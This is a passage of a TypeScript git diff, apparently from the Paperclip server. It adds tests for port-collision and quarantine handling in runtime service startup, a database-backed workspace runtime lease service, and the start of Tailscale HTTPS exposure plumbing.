+      command: `${guestCommand("dev-runner-wildcard-hmr.mjs")} --bind lan`,
+      expose: LEGACY_HTTP_EXPOSE,
+      port: { type: "auto", envKey: "PORT" },
+    })).then(() => null, (err: unknown) => err as Error);
+
+    expect(error).not.toBeNull();
+    expect(error!.message).toContain("listener_ownership_mismatch");
+    // The app port obeyed the forced bind; the HMR companion is the offender, and
+    // the diagnosis has to say so rather than blaming the lane as a whole.
+    expect(error!.message).toMatch(/port 5\d{4} is bound to/);
+    expect(error!.message).not.toMatch(/port 4\d{4} is bound to/);
+    expect(calls).toEqual(["reserve", "remove"]);
+  }, 20_000);
+});
+
+describe("recovers when a guest loses its assigned exposure port during startup (PAP-17256)", () => {
+  // The quarantine decision itself is unit-tested through
+  // `classifyExposureHostCollisions` below. A deterministic end-to-end quarantine
+  // test is not reachable here: a real host listener that holds the assigned port
+  // is intercepted earlier, either by the pre-spawn ownership guard or by the
+  // allocated-port bind wait, before the EADDRINUSE-text quarantine branch runs.
+  it("does not quarantine the pair when the guest fabricates an assigned-port EADDRINUSE with no host listener", async () => {
+    const { broker } = createBroker();
+    const reservedAppPorts: number[] = [];
+    const recordingBroker: BrokerClient = {
+      ...broker,
+      async reserve(runtimeId, requested) {
+        reservedAppPorts.push(requested[0]!.port);
+        return broker.reserve(runtimeId, requested);
+      },
+    };
+    installDeps({ broker: recordingBroker });
+
+    const logs: string[] = [];
+    const error = await startRuntimeServicesForWorkspaceControl({
+      ...startInput({
+        serviceName: "paperclip-dev",
+        command: `${guestCommand("dev-runner-eaddrinuse-synthetic.mjs")} --bind lan`,
+        expose: LEGACY_HTTP_EXPOSE,
+        port: { type: "auto", envKey: "PORT" },
+      }),
+      onLog: async (_stream, chunk) => {
+        logs.push(chunk);
+      },
+    }).then(() => null, (err: unknown) => err as Error);
+
+    // No host listener owns 42000, so the printed EADDRINUSE line is unverified.
+    // The start fails terminally after ONE allocation and never burns the pool.
+    expect(error).not.toBeNull();
+    expect(error!.message).toContain("42000");
+    expect(error!.message).toContain("not verified");
+    expect(reservedAppPorts).toEqual([42_000]);
+
+    // No quarantine and no re-allocation happened for the unverified claim.
+    const diagnosis = logs.join("");
+    expect(diagnosis).not.toContain("Quarantined pair");
+    expect(diagnosis).not.toContain("collided during startup");
+  }, 25_000);
+
+  it("does not quarantine the pair for an EADDRINUSE on an unrelated auxiliary port", async () => {
+    const { broker } = createBroker();
+    const reservedAppPorts: number[] = [];
+    const recordingBroker: BrokerClient = {
+      ...broker,
+      async reserve(runtimeId, requested) {
+        reservedAppPorts.push(requested[0]!.port);
+        return broker.reserve(runtimeId, requested);
+      },
+    };
+    installDeps({ broker: recordingBroker });
+
+    const logs: string[] = [];
+    const error = await startRuntimeServicesForWorkspaceControl({
+      ...startInput({
+        serviceName: "paperclip-dev",
+        command: `${guestCommand("dev-runner-eaddrinuse-auxiliary.mjs")} --bind lan`,
+        expose: LEGACY_HTTP_EXPOSE,
+        port: { type: "auto", envKey: "PORT" },
+      }),
+      onLog: async (_stream, chunk) => {
+        logs.push(chunk);
+      },
+    }).then(() => null, (err: unknown) => err as Error);
+
+    // The failure names an unrelated port, so the assigned pair is not a
+    // collision. The start fails terminally after ONE allocation, and never
+    // burns the bounded retries on a valid pair.
+    expect(error).not.toBeNull();
+    expect(error!.message).toContain("39999");
+    expect(reservedAppPorts).toEqual([42_000]);
+
+    // No quarantine and no re-allocation happened for the auxiliary conflict.
+    const diagnosis = logs.join("");
+    expect(diagnosis).not.toContain("Quarantined pair");
+    expect(diagnosis).not.toContain("collided during startup");
+  }, 25_000);
+
+  it("does not quarantine when an auxiliary EADDRINUSE mixes with a benign assigned-port line", async () => {
+    const { broker } = createBroker();
+    const reservedAppPorts: number[] = [];
+    const recordingBroker: BrokerClient = {
+      ...broker,
+      async reserve(runtimeId, requested) {
+        reservedAppPorts.push(requested[0]!.port);
+        return broker.reserve(runtimeId, requested);
+      },
+    };
+    installDeps({ broker: recordingBroker });
+
+    const logs: string[] = [];
+    const error = await startRuntimeServicesForWorkspaceControl({
+      ...startInput({
+        serviceName: "paperclip-dev",
+        command: `${guestCommand("dev-runner-eaddrinuse-auxiliary-mixed.mjs")} --bind lan`,
+        expose: LEGACY_HTTP_EXPOSE,
+        port: { type: "auto", envKey: "PORT" },
+      }),
+      onLog: async (_stream, chunk) => {
+        logs.push(chunk);
+      },
+    }).then(() => null, (err: unknown) => err as Error);
+
+    // The assigned port 42000 appears on a benign line, but EADDRINUSE names only
+    // the auxiliary port 39999. The parser matches the error and the port on the
+    // same line, so the assigned pair is not a collision. The start fails
+    // terminally after ONE allocation and never quarantines the valid pair.
+    expect(error).not.toBeNull();
+    expect(error!.message).toContain("39999");
+    expect(reservedAppPorts).toEqual([42_000]);
+
+    const diagnosis = logs.join("");
+    expect(diagnosis).not.toContain("Quarantined pair");
+    expect(diagnosis).not.toContain("collided during startup");
+  }, 25_000);
+});
+
+describe("classifyExposureHostCollisions gates quarantine on verified host state", () => {
+  const state = (over: Partial<ExposurePortHostState> & { port: number }): ExposurePortHostState => ({
+    named: false,
+    listenerPresent: false,
+    ownerPid: null,
+    ownerProcessGroupId: null,
+    ...over,
+  });
+
+  it("reports a host collision when a named port has a present listener owned by another process", () => {
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [
+        state({ port: 42_000, named: true, listenerPresent: true, ownerPid: 9999 }),
+        state({ port: 52_000, named: false, listenerPresent: false, ownerPid: null }),
+      ],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [42_000], hostCollision: true });
+  });
+
+  it("treats a present listener with an unknown owner as a host collision", () => {
+    // /proc proves a listener, and a guest that lost its assigned port does not
+    // hold it, so an unknown owner still counts as the host.
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [state({ port: 42_000, named: true, listenerPresent: true, ownerPid: null })],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [42_000], hostCollision: true });
+  });
+
+  it("does not report a collision when the named port has no listener", () => {
+    // A synthetic EADDRINUSE line with no host listener behind it. Quarantine here
+    // would drain the shared exposure-port pool across repeated starts.
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [state({ port: 42_000, named: true, listenerPresent: false, ownerPid: null })],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [], hostCollision: false });
+  });
+
+  it("does not report a collision when the guest itself owns the present listener", () => {
+    // The guest bound and holds its own port, so this is not a host collision.
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [state({ port: 42_000, named: true, listenerPresent: true, ownerPid: 4242 })],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [], hostCollision: false });
+  });
+
+  it("does not report a collision when a guest descendant owns the present listener", () => {
+    // The runtime launches the guest as a shell process group leader (pid 4242).
+    // The real dev server binds the port from a descendant (pid 9999) that shares
+    // the shell process group. The owner pid differs from the shell pid, but the
+    // owner process group id matches it, so this is the guest, not the host. A raw
+    // pid equality would quarantine this valid pair until the shared pool drains.
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [
+        state({
+          port: 42_000,
+          named: true,
+          listenerPresent: true,
+          ownerPid: 9999,
+          ownerProcessGroupId: 4242,
+        }),
+      ],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [], hostCollision: false });
+  });
+
+  it("reports a host collision when the owner and its process group are both external", () => {
+    // A different process group holds the port, so neither the shell pid nor the
+    // process group matches. This is a real external owner and quarantine is right.
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [
+        state({
+          port: 42_000,
+          named: true,
+          listenerPresent: true,
+          ownerPid: 9999,
+          ownerProcessGroupId: 8888,
+        }),
+      ],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [42_000], hostCollision: true });
+  });
+
+  it("ignores a present listener on a port the failure text did not name", () => {
+    // An auxiliary-port conflict leaves the assigned pair valid.
+    const result = classifyExposureHostCollisions({
+      childPid: 4242,
+      ports: [state({ port: 42_000, named: false, listenerPresent: true, ownerPid: 9999 })],
+    });
+    expect(result).toEqual({ hostCollisionPorts: [], hostCollision: false });
+  });
+});
diff --git a/server/src/services/workspace-runtime-leases.ts b/server/src/services/workspace-runtime-leases.ts
new file mode 100644
index 00000000000..eba79d341d6
--- /dev/null
+++ b/server/src/services/workspace-runtime-leases.ts
@@ -0,0 +1,317 @@
+import { and, eq } from "drizzle-orm";
+import type { Db } from "@paperclipai/db";
+import { executionWorkspaceRuntimeLeases, heartbeatRuns, issues } from "@paperclipai/db";
+import { conflict } from "../errors.js";
+
+type ExecutionWorkspaceRuntimeLeaseRow = typeof executionWorkspaceRuntimeLeases.$inferSelect;
+type LeaseTx = Parameters<Parameters<Db["transaction"]>[0]>[0];
+
+/**
+ * Issue statuses that keep an issue eligible to drive workspace runtime controls.
+ * Shared with the runtime authorization path so "still authorized" and "still owns
+ * the lease" cannot drift apart.
+ */
+export const WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES: readonly string[] = [
+  "backlog",
+  "todo",
+  "in_progress",
+  "in_review",
+  "blocked",
+];
+
+const TERMINAL_HEARTBEAT_RUN_STATUSES = new Set([
+  "succeeded",
+  "interrupted",
+  "failed",
+  "cancelled",
+  "timed_out",
+]);
+
+/** Runtime control actions that mutate the workspace and therefore need the lease. */
+export const LEASED_WORKSPACE_RUNTIME_ACTIONS: readonly string[] = ["start", "stop", "restart", "repair"];
+
+/**
+ * Upper bound on how long a lease survives without the owner touching it. Recovery
+ * from a stale owner is otherwise driven by owner eligibility, which is cheaper and
+ * more precise; the TTL only bounds the cases eligibility cannot see (for example an
+ * agent-scoped owner with no run or issue identity).
+ */
+export const WORKSPACE_RUNTIME_LEASE_TTL_MS = 30 * 60 * 1000;
+
+export type WorkspaceRuntimeLeaseOwner = {
+  actorType: string;
+  agentId?: string | null;
+  runId?: string | null;
+  issueId?: string | null;
+};
+
+export type WorkspaceRuntimeLeaseStaleReason =
+  | "lease_expired"
+  | "owner_issue_missing"
+  | "owner_issue_hidden"
+  | "owner_issue_terminal"
+  | "owner_run_missing"
+  | "owner_run_terminal";
+
+export type WorkspaceRuntimeLeaseClaim = {
+  outcome: "created" | "renewed" | "reclaimed" | "bypassed";
+  ownerKey: string | null;
+  lease: ExecutionWorkspaceRuntimeLeaseRow | null;
+  reclaimedFrom: { ownerKey: string; reason: WorkspaceRuntimeLeaseStaleReason } | null;
+};
+
+/**
+ * Durable owner identity for a lease. The controlling issue is preferred because a
+ * canary lane outlives any single heartbeat run; runs and bare agent keys are only
+ * used when no issue is in scope.
+ */
+export function buildWorkspaceRuntimeLeaseOwnerKey(owner: WorkspaceRuntimeLeaseOwner): string | null {
+  if (owner.issueId) return `issue:${owner.issueId}`;
+  if (owner.runId) return `run:${owner.runId}`;
+  if (owner.agentId) return `agent:${owner.agentId}`;
+  return null;
+}
+
+function parseOwnerKey(ownerKey: string): { kind: "issue" | "run" | "agent"; id: string } | null {
+  const separator = ownerKey.indexOf(":");
+  if (separator <= 0) return null;
+  const kind = ownerKey.slice(0, separator);
+  const id = ownerKey.slice(separator + 1);
+  if (!id) return null;
+  if (kind !== "issue" && kind !== "run" && kind !== "agent") return null;
+  return { kind, id };
+}
+
+async function evaluateStaleOwner(
+  tx: LeaseTx,
+  lease: ExecutionWorkspaceRuntimeLeaseRow,
+  now: Date,
+): Promise<WorkspaceRuntimeLeaseStaleReason | null> {
+  if (lease.expiresAt.getTime() <= now.getTime()) return "lease_expired";
+
+  const owner = parseOwnerKey(lease.ownerKey);
+  if (owner?.kind === "issue") {
+    const ownerIssue = await tx
+      .select({ status: issues.status, hiddenAt: issues.hiddenAt })
+      .from(issues)
+      .where(and(eq(issues.id, owner.id), eq(issues.companyId, lease.companyId)))
+      .then((rows) => rows[0] ?? null);
+    if (!ownerIssue) return "owner_issue_missing";
+    if (ownerIssue.hiddenAt) return "owner_issue_hidden";
+    if (!WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES.includes(ownerIssue.status)) return "owner_issue_terminal";
+    return null;
+  }
+
+  if (owner?.kind === "run") {
+    const ownerRun = await tx
+      .select({ status: heartbeatRuns.status })
+      .from(heartbeatRuns)
+      .where(and(eq(heartbeatRuns.id, owner.id), eq(heartbeatRuns.companyId, lease.companyId)))
+      .then((rows) => rows[0] ?? null);
+    if (!ownerRun) return "owner_run_missing";
+    if (TERMINAL_HEARTBEAT_RUN_STATUSES.has(ownerRun.status)) return "owner_run_terminal";
+    return null;
+  }
+
+  // Agent-scoped and unparseable owners have no lifecycle to inspect, so the TTL
+  // checked above is their only recovery path.
+  return null;
+}
+
+function throwLeaseConflict(input: {
+  lease: ExecutionWorkspaceRuntimeLeaseRow;
+  requestedAction: string;
+  requestedOwnerKey: string;
+}): never {
+  const { lease } = input;
+  throw conflict(
+    "Another issue run holds the exclusive runtime lease for this execution workspace.",
+    {
+      code: "workspace_runtime_lease_conflict",
+      executionWorkspaceId: lease.executionWorkspaceId,
+      requestedAction: input.requestedAction,
+      requestedOwnerKey: input.requestedOwnerKey,
+      ownerKey: lease.ownerKey,
+      ownerIssueId: lease.ownerIssueId,
+      ownerRunId: lease.ownerRunId,
+      ownerAgentId: lease.ownerAgentId,
+      lastAction: lease.lastAction,
+      claimedAt: lease.claimedAt.toISOString(),
+      renewedAt: lease.renewedAt.toISOString(),
+      expiresAt: lease.expiresAt.toISOString(),
+      remediation:
+        "Do not retry against this execution workspace. Wait for the owning issue to reach a terminal status, ask its owner to release the workspace, or wait for the lease to expire, then retry.",
+    },
+  );
+}
+
+export function workspaceRuntimeLeaseService(db: Db) {
+  return {
+    async get(executionWorkspaceId: string) {
+      return await db
+        .select()
+        .from(executionWorkspaceRuntimeLeases)
+        .where(eq(executionWorkspaceRuntimeLeases.executionWorkspaceId, executionWorkspaceId))
+        .then((rows) => rows[0] ?? null);
+    },
+
+    /**
+     * Atomically claim (or renew, or reclaim from a stale owner) the exclusive runtime
+     * lease for an execution workspace. Cross-process exclusivity comes from the unique
+     * constraint on execution_workspace_id plus a `SELECT ... FOR UPDATE` on the existing
+     * row, so competing claims serialize in the database rather than in one process.
+     *
+     * Board/operator actors bypass the lease entirely: they keep unconditional control
+     * and never take the lane away from an agent run.
+     */
+    async claim(input: {
+      companyId: string;
+      executionWorkspaceId: string;
+      action: string;
+      owner: WorkspaceRuntimeLeaseOwner;
+      now?: Date;
+      ttlMs?: number;
+    }): Promise<WorkspaceRuntimeLeaseClaim> {
+      if (input.owner.actorType !== "agent") {
+        return { outcome: "bypassed", ownerKey: null, lease: null, reclaimedFrom: null };
+      }
+
+      const ownerKey = buildWorkspaceRuntimeLeaseOwnerKey(input.owner);
+      if (!ownerKey) {
+        return { outcome: "bypassed", ownerKey: null, lease: null, reclaimedFrom: null };
+      }
+
+      const now = input.now ?? new Date();
+      const expiresAt = new Date(now.getTime() + (input.ttlMs ?? WORKSPACE_RUNTIME_LEASE_TTL_MS));
+      const ownerColumns = {
+        ownerKey,
+        ownerIssueId: input.owner.issueId ?? null,
+        ownerRunId: input.owner.runId ?? null,
+        ownerAgentId: input.owner.agentId ?? null,
+      };
+
+      return await db.transaction(async (tx) => {
+        const created = await tx
+          .insert(executionWorkspaceRuntimeLeases)
+          .values({
+            companyId: input.companyId,
+            executionWorkspaceId: input.executionWorkspaceId,
+            ...ownerColumns,
+            lastAction: input.action,
+            claimedAt: now,
+            renewedAt: now,
+            expiresAt,
+            createdAt: now,
+            updatedAt: now,
+          })
+          .onConflictDoNothing({ target: executionWorkspaceRuntimeLeases.executionWorkspaceId })
+          .returning()
+          .then((rows) => rows[0] ?? null);
+        if (created) {
+          return { outcome: "created" as const, ownerKey, lease: created, reclaimedFrom: null };
+        }
+
+        // The insert above conflicted, so a row exists (and, if a competing claim was
+        // mid-flight, the conflict already waited for it to commit). Lock it before
+        // deciding whether this caller may take or keep the lane.
+        const current = await tx
+          .select()
+          .from(executionWorkspaceRuntimeLeases)
+          .where(eq(executionWorkspaceRuntimeLeases.executionWorkspaceId, input.executionWorkspaceId))
+          .for("update")
+          .then((rows) => rows[0] ?? null);
+        if (!current) {
+          // The holder released between the conflict and the lock; the caller can retry
+          // immediately rather than mutating a workspace it does not own.
+          throw conflict("The execution workspace runtime lease changed while it was being claimed.", {
+            code: "workspace_runtime_lease_contended",
+            executionWorkspaceId: input.executionWorkspaceId,
+            requestedAction: input.action,
+            remediation: "Retry the runtime control request.",
+          });
+        }
+
+        if (current.ownerKey === ownerKey) {
+          const renewed = await tx
+            .update(executionWorkspaceRuntimeLeases)
+            .set({
+              ...ownerColumns,
+              lastAction: input.action,
+              renewedAt: now,
+              expiresAt,
+              updatedAt: now,
+            })
+            .where(eq(executionWorkspaceRuntimeLeases.id, current.id))
+            .returning()
+            .then((rows) => rows[0] ?? current);
+          return { outcome: "renewed" as const, ownerKey, lease: renewed, reclaimedFrom: null };
+        }
+
+        const staleReason = await evaluateStaleOwner(tx, current, now);
+        if (!staleReason) {
+          throwLeaseConflict({ lease: current, requestedAction: input.action, requestedOwnerKey: ownerKey });
+        }
+
+        const reclaimed = await tx
+          .update(executionWorkspaceRuntimeLeases)
+          .set({
+            companyId: input.companyId,
+            ...ownerColumns,
+            lastAction: input.action,
+            claimedAt: now,
+            renewedAt: now,
+            expiresAt,
+            updatedAt: now,
+            metadata: {
+              reclaimedFromOwnerKey: current.ownerKey,
+              reclaimReason: staleReason,
+              reclaimedAt: now.toISOString(),
+            },
+          })
+          .where(eq(executionWorkspaceRuntimeLeases.id, current.id))
+          .returning()
+          .then((rows) => rows[0] ?? null);
+        if (!reclaimed) {
+          throwLeaseConflict({ lease: current, requestedAction: input.action, requestedOwnerKey: ownerKey });
+        }
+
+        return {
+          outcome: "reclaimed" as const,
+          ownerKey,
+          lease: reclaimed,
+          reclaimedFrom: { ownerKey: current.ownerKey, reason: staleReason },
+        };
+      });
+    },
+
+    /**
+     * Give up the lane. `force` is for operator/lifecycle paths (workspace archive);
+     * owner-scoped releases only remove a lease the caller actually holds.
+     */
+    async release(input: {
+      executionWorkspaceId: string;
+      owner?: WorkspaceRuntimeLeaseOwner;
+      force?: boolean;
+    }): Promise<{ released: boolean; ownerKey: string | null }> {
+      const ownerKey = input.owner ? buildWorkspaceRuntimeLeaseOwnerKey(input.owner) : null;
+      if (!input.force && !ownerKey) return { released: false, ownerKey: null };
+
+      const condition = input.force
+        ? eq(executionWorkspaceRuntimeLeases.executionWorkspaceId, input.executionWorkspaceId)
+        : and(
+            eq(executionWorkspaceRuntimeLeases.executionWorkspaceId, input.executionWorkspaceId),
+            eq(executionWorkspaceRuntimeLeases.ownerKey, ownerKey!),
+          );
+
+      const deleted = await db
+        .delete(executionWorkspaceRuntimeLeases)
+        .where(condition)
+        .returning({ ownerKey: executionWorkspaceRuntimeLeases.ownerKey })
+        .then((rows) => rows[0] ?? null);
+
+      return { released: Boolean(deleted), ownerKey: deleted?.ownerKey ?? null };
+    },
+  };
+}
+
+export type WorkspaceRuntimeLeaseService = ReturnType<typeof workspaceRuntimeLeaseService>;
diff --git a/server/src/services/workspace-runtime-read-model.test.ts b/server/src/services/workspace-runtime-read-model.test.ts
index 1de4250b079..76ad542aad7 100644
--- a/server/src/services/workspace-runtime-read-model.test.ts
+++ b/server/src/services/workspace-runtime-read-model.test.ts
@@ -35,6 +35,9 @@ function runtimeServiceRow(
     stoppedAt: now,
     stopPolicy: null,
     healthStatus: "unknown",
+    exposure: null,
+    exposureHandle: null,
+    backendUrl: null,
     createdAt: now,
     updatedAt: now,
     ...overrides,
@@ -84,6 +87,32 @@ describe("selectConfiguredRuntimeServiceRows", () => {
     ]);
   });
 
+  it("keeps an exposed dev runtime tracked after its bind command is hardened", () => {
+    const exposedWeb = runtimeServiceRow({
+      serviceName: "paperclip-dev",
+      command: "pnpm dev --bind loopback",
+      exposure: {
+        provider: "tailscale_https",
+        state: "ready",
+        publicUrl: "https://paperclip-dev.example.ts.net:42012",
+        hostname: "paperclip-dev.example.ts.net",
+        listeners: [],
+        brokerRef: "broker-1",
+        lastError: null,
+        updatedAt: "2026-08-20T00:00:00.000Z",
+      },
+    });
+
+    const selected = selectConfiguredRuntimeServiceRows(
+      [exposedWeb],
+      { services: [{ name: "paperclip-dev", command: "pnpm dev --bind lan" }] },
+    );
+
+    expect(selected).toEqual([
+      expect.objectContaining({ id: exposedWeb.id, configIndex: 0 }),
+    ]);
+  });
+
   it("matches configured services only to rows with the configured reuse scope", () => {
     const staleProjectScopedWorker = runtimeServiceRow({
       serviceName: "worker",
diff --git a/server/src/services/workspace-runtime-ready-comment.test.ts b/server/src/services/workspace-runtime-ready-comment.test.ts
index 74a2219cf95..c669b71ee3a 100644
--- a/server/src/services/workspace-runtime-ready-comment.test.ts
+++ b/server/src/services/workspace-runtime-ready-comment.test.ts
@@ -23,6 +23,7 @@ function workspace(
     worktreePath: "/repo/.paperclip/worktrees/PAP-16051",
     warnings: [],
     created: true,
+    branchCreatedByRuntime: true,
     ...overrides,
   };
 }
@@ -56,6 +57,7 @@ function runtimeService(
     stoppedAt: null,
     stopPolicy: null,
     healthStatus: "healthy",
+    exposure: null,
     reused: false,
     ...overrides,
   };
diff --git a/server/src/services/workspace-runtime.ts b/server/src/services/workspace-runtime.ts
index cb96c5f9d4d..cd572f164a2 100644
--- a/server/src/services/workspace-runtime.ts
+++ b/server/src/services/workspace-runtime.ts
@@ -10,7 +10,19 @@ import type { AdapterRuntimeServiceReport } from "@paperclipai/adapter-utils";
 import type { Db } from "@paperclipai/db";
 import { executionWorkspaces, issueComments, issues, projectWorkspaces, workspaceRuntimeServices } from "@paperclipai/db";
 import {
+  DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+  deriveViteHmrPort,
+  forceLoopbackBindInCommand,
+  isRuntimeExposureAppPort,
   listWorkspaceServiceCommandDefinitions,
+  RUNTIME_EXPOSURE_BIND_HOST,
+  RUNTIME_EXPOSURE_BIND_MODE,
+  rewriteUrlHostToLoopback,
+  readRuntimeExposureIntent,
+  resolveDeclaredRuntimeExposureConfig,
+  type RuntimeExposureConfigInput,
+  type RuntimeExposureIntent,
+  type RuntimeExposureStatus,
   type GitWorktreeBranchAncestryVerdict,
   type GitWorktreeBranchIncoherenceEvidence as SharedGitWorktreeBranchIncoherenceEvidence,
   type GitWorktreeInProgressOperation,
@@ -20,15 +32,29 @@ import {
   type WorkspaceRuntimeDesiredState,
   type WorkspaceRuntimeServiceStateMap,
 } from "@paperclipai/shared";
-import { and, desc, eq, inArray, isNull, ne } from "drizzle-orm";
+import { and, desc, eq, gte, inArray, isNull, lte, ne, or } from "drizzle-orm";
 import { asNumber, asString, parseObject, renderTemplate } from "../adapters/utils.js";
+import { conflict } from "../errors.js";
 import { resolveHomeAwarePath } from "../home-paths.js";
+import { hasVerifiedWorktreeSeedManifest, isVerifiedWorktreeSeedManifest } from "../worktree-seed-manifest.js";
+import {
+  buildManagedWorkspaceGuestEnv,
+  logManagedWorkspaceReadinessRejection,
+  probeManagedWorkspaceHandoffSubjects,
+  probeManagedWorkspaceReadiness,
+  resolveManagedWorkspaceIdentity,
+  shouldBlockPublicationOnReadiness,
+  waitForManagedWorkspaceReadiness,
+} from "./managed-workspace-identity.js";
 import {
   createLocalServiceKey,
   findLocalServiceRegistryRecordByRuntimeServiceId,
   findAdoptableLocalService,
+  isLocalServiceProcessOwnedBy,
   isLocalServiceProcessInWorkspace,
+  openLocalServiceLogFile,
   readLocalServiceProcessCwd,
+  readLocalServiceProcessGroupId,
   readLocalServicePortOwner,
   removeLocalServiceRegistryRecord,
   terminateLocalService,
@@ -37,8 +63,10 @@ import {
 } from "./local-service-supervisor.js";
 import { workspaceOperationService, type WorkspaceOperationRecorder } from "./workspace-operations.js";
 import { executionWorkspaceService, readExecutionWorkspaceConfig } from "./execution-workspaces.js";
+import { isRuntimeOwnedGitBranch } from "./execution-workspace-branch-ownership.js";
 import { logActivity } from "./activity-log.js";
 import { readProjectWorkspaceRuntimeConfig } from "./project-workspace-runtime-config.js";
+import { workspaceGitOperationScheduler } from "./workspace-git-operation-scheduler.js";
 import {
   cleanupWorktreeInstanceArtifacts,
   deriveWorktreeInstanceId,
@@ -46,6 +74,31 @@ import {
   WORKTREE_INSTANCE_ROOT_METADATA_KEY,
   type WorktreeInstancePointer,
 } from "./workspace-instance-cleanup.js";
+import { UnixBrokerClient, type BrokerClient } from "./runtime-exposure/broker-client.js";
+import {
+  deprovisionExposure,
+  provisionExposure,
+  reserveExposure,
+  type ExposureManagerDeps,
+} from "./runtime-exposure/exposure-manager.js";
+import { diagnoseRuntimeListenerBinds, readListenerBindFacts } from "./runtime-exposure/loopback-listener.js";
+import { allocateExposurePortPair } from "./runtime-exposure/port-pair.js";
+import {
+  buildExposureReservationLedger,
+  collectRowExposurePorts,
+  describeExposureReservationDrift,
+  ExposurePortOwnershipConflictError,
+  ExposurePortPairClaims,
+  findExposurePairConflict,
+  findExposureReservationDrift,
+  isExposureAdoptionPermitted,
+  type BrokerMappingSnapshot,
+  type ExposureOwnerIdentity,
+  type ExposureReservationLedger,
+  type InMemoryExposureSnapshot,
+  type PersistedExposureRowSnapshot,
+} from "./runtime-exposure/port-reservation.js";
+import { resolveTailscaleDnsName } from "./runtime-exposure/tailscale-hostname.js";
 
 export function resolveShell(): string {
   const fallback = process.platform === "win32" ? "sh" : "/bin/sh";
@@ -113,6 +166,13 @@ export interface RealizedExecutionWorkspace extends ExecutionWorkspaceInput {
   worktreePath: string | null;
   warnings: string[];
   created: boolean;
+  // Branch ownership, distinct from `created` (which reports a fresh worktree
+  // checkout). True only when this realization created the branch ref itself;
+  // attaching a worktree to a pre-existing branch keeps the branch
+  // operator-owned. Persisted with versioned branch-ownership metadata, which
+  // restore and terminal cleanup use to decide whether the branch may be
+  // recreated or deleted.
+  branchCreatedByRuntime: boolean;
   baseRefSha?: string | null;
   pendingForwardBranchReconcile?: PendingForwardBranchReconcile | null;
 }
@@ -154,6 +214,7 @@ export interface RuntimeServiceRef {
   stoppedAt: string | null;
   stopPolicy: Record<string, unknown> | null;
   healthStatus: "unknown" | "healthy" | "unhealthy";
+  exposure: RuntimeExposureStatus | null;
   reused: boolean;
 }
 
@@ -166,6 +227,11 @@ interface RuntimeServiceRecord extends RuntimeServiceRef {
   serviceKey: string;
   profileKind: string;
   processGroupId: number | null;
+  /** Server-private broker lease handle; never returned by toRuntimeServiceRef. */
+  exposureHandle: string | null;
+  /** Loopback URL used for backend readiness/adoption; never serialized. */
+  backendUrl: string | null;
+  exposureConfig: RuntimeExposureConfigInput | null;
 }
 
 type LocalRuntimeServiceStart = {
@@ -173,6 +239,10 @@ type LocalRuntimeServiceStart = {
   readiness: Promise<void>;
 };
 
+type PendingRuntimeServiceReadiness = LocalRuntimeServiceStart & {
+  service: Record<string, unknown>;
+};
+
 type StoppedRuntimeServiceReuseCandidate = {
   id: string;
   port: number | null;
@@ -182,7 +252,230 @@ const runtimeServicesById = new Map<string, RuntimeServiceRecord>();
 const runtimeServicesByReuseKey = new Map<string, string>();
 const runtimeServiceLeasesByRun = new Map<string, string[]>();
 const runtimeProvisionByWorkspace = new Map<string, Promise<void>>();
+const runtimeControlStartByOwner = new Map<string, Promise<void>>();
+const runtimeReplacementClaimsByReuseKey = new Map<string, number>();
+const quarantinedRuntimeExposurePorts = new Set<number>();
+/**
+ * Pair-atomic in-process claims for exposure allocations that have not bound a
+ * listener yet. Separate from `inFlightAllocatedPorts` (single ports, non-exposed
+ * runtimes) because an exposure claim must cover the app port and its HMR
+ * companion together or not at all.
+ */
+const exposurePortPairClaims = new ExposurePortPairClaims();
+/**
+ * Execution-workspace statuses that still hold an exclusive lease. `archived`
+ * is the only terminal state; everything else — including `idle` — is a lane an
+ * operator or agent can still return to, so its port pair stays reserved.
+ */
+const OPEN_EXECUTION_WORKSPACE_LEASE_STATUSES = ["active", "idle", "in_review"] as const;
 const DEFAULT_EXECUTE_PROCESS_OUTPUT_BYTES = 256 * 1024;
+export const WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS = 32;
+const ACTIVE_RUNTIME_PORT_RESERVATION_STATUSES = ["provisioning", "starting", "running"] as const;
+const DEFAULT_TAILSCALE_BROKER_SOCKET = "/run/paperclip-tailscale-broker/broker.sock";
+
+class RuntimeServicePortBindCollision extends Error {
+  readonly port: number;
+  /**
+   * Who held the port when the collision was seen, captured at failure time.
+   * Null when no owner remained (a transient racer that already released it).
+   */
+  readonly diagnosis: string | null;
+
+  /**
+   * True when the port is only a preference and the caller may re-allocate a
+   * different one. Exposed runtimes always draw from the dedicated broker range,
+   * so a collision on the assigned port is recoverable by taking the next pair.
+   */
+  readonly exposureReallocatable: boolean;
+
+  constructor(port: number, diagnosis: string | null = null, exposureReallocatable = false) {
+    super(
+      `Runtime service could not bind allocated port ${port}` +
+        (diagnosis ? ` (${diagnosis})` : ""),
+    );
+    this.name = "RuntimeServicePortBindCollision";
+    this.port = port;
+    this.diagnosis = diagnosis;
+    this.exposureReallocatable = exposureReallocatable;
+  }
+}
+
+export type WorkspaceRuntimeExposureDeps = ExposureManagerDeps & {
+  resolveHostname: () => Promise<string>;
+  isPortAvailable: (port: number) => Promise<boolean>;
+  /**
+   * Whether this host can actually broker HTTPS exposures right now. Gating the
+   * automatic default on broker availability is what keeps a Paperclip install
+   * without the host broker from failing every managed runtime start closed.
+   * An explicit opt-in still bypasses this and fails loudly.
+   */
+  isBrokerAvailable: () => Promise<boolean>;
+};
+
+async function isLoopbackPortAvailable(port: number): Promise<boolean> {
+  return await new Promise<boolean>((resolve) => {
+    const server = net.createServer();
+    server.unref();
+    server.once("error", () => resolve(false));
+    server.listen(port, "127.0.0.1", () => {
+      server.close(() => resolve(true));
+    });
+  });
+}
+
+function resolveTailscaleBrokerSocketPath(): string {
